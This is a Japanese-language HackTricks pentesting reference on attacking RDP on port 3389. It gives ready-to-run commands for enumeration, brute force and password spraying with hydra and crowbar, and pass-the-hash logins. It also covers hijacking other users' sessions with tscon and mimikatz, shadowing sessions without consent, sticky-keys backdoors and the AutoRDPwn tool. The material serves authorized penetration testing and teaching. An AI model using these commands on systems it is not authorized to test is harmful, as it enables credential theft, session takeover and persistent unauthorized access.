3389 - Pentesting RDP
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
基本情報
Microsoft によって開発された Remote Desktop Protocol (RDP) は、ネットワーク経由でコンピュータ間のグラフィカルなインターフェース接続を可能にするよう設計されています。この接続を確立するには、ユーザが RDP クライアントソフトウェアを使用し、同時にリモート側のコンピュータは RDP サーバーソフトウェアを稼働させている必要があります。この構成により、遠隔コンピュータのデスクトップ環境をシームレスに制御・アクセスでき、実質的にそのインターフェースをユーザのローカルデバイスに表示します。
既定のポート: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
列挙
自動
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
利用可能な暗号化とDoS脆弱性(サービスにDoSを引き起こすことなく)をチェックし、NTLM Windows情報(バージョン)を取得します。
セキュリティレイヤー / NLA チェック
RDPは異なるセキュリティレイヤー (native RDP, TLS, or CredSSP/NLA) を交渉できます。サーバー側の設定やNLAが要求されるかどうかを素早く識別できます:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
注意: アカウントをロックしてしまう可能性があります
Password Spraying
注意: アカウントをロックしてしまう可能性があります
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
既知の credentials/hash を使って接続
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
既知の認証情報を RDP サービスで確認する
impacket の rdp_check.py を使うと、ある認証情報が RDP サービスで有効かどうかを確認できます:
rdp_check <domain>/<name>:<password>@<IP>
攻撃
Session stealing
SYSTEM 権限があれば、所有者のパスワードを知らなくても、任意のユーザーが開いている RDP セッションにアクセスできます。
開いているセッションを取得する:
query user
選択したセッションへのアクセス
tscon <ID> /dest:<SESSIONNAME>
Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.
重要: アクティブな RDP セッションにアクセスすると、そのセッションを使用していたユーザは強制的にログオフされます。
プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに高速で、ユーザの仮想デスクトップと直接やり取りできます(ディスクに保存されていない Notepad 内のパスワード、別のマシンで開かれている他の RDP セッションなど…)。
Mimikatz
これを行うために mimikatz を使用することもできます:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
もし Remote Desktop Services shadowing が有効になっている場合、組み込みの mstsc スイッチを使って、他のユーザーのアクティブなセッションを 閲覧または操作(場合によっては 同意なしに)できます。
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDPは確立されたRDPセッション上でのvirtual channelsを悪用してpivoting/tunnelingすることができます。1つの方法はrdp2tcp(client/server)で、RDP上でTCP転送を多重化できます(FreeRDPで動作します)。
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
この手法をstickykeysまたはutilman あなたはいつでも管理者のCMDおよび任意のRDPセッションにアクセスできるようになります
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
別ドメインのユーザ、またはbetter privileges login via RDPでログインするより高い権限のユーザが、あなたがyou are an AdminであるPCにアクセスした場合、あなたはinjectであなたのbeaconを彼のRDP session processに挿入し、彼として行動できます:
RDP グループにユーザーを追加
net localgroup "Remote Desktop Users" UserLoginName /add
自動ツール
AutoRDPwnはPowershellで作成されたpost-exploitationフレームワークで、主にMicrosoft Windows上のShadow攻撃を自動化するために設計されています。この脆弱性(Microsoftによって機能として記載されています)は、リモート攻撃者が被害者のデスクトップを同意なしに閲覧することを可能にし、さらにOS標準のツールを使って要求に応じて制御することもできます。
-
コマンドラインからマウスとキーボードを自動的に操作できる
-
コマンドラインからクリップボードを自動的に操作できる
-
クライアントからSOCKS proxyを生成し、RDP経由でターゲットへネットワーク通信を中継する
-
ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行できる
-
ターゲットでファイル転送が無効になっている場合でも、ターゲットへ/からファイルのアップロード・ダウンロードが可能
このツールは、被害者のRDP上でグラフィカルインターフェースを必要とせずにコマンドを実行することを可能にします。
HackTricksの自動コマンド
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
参考文献
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


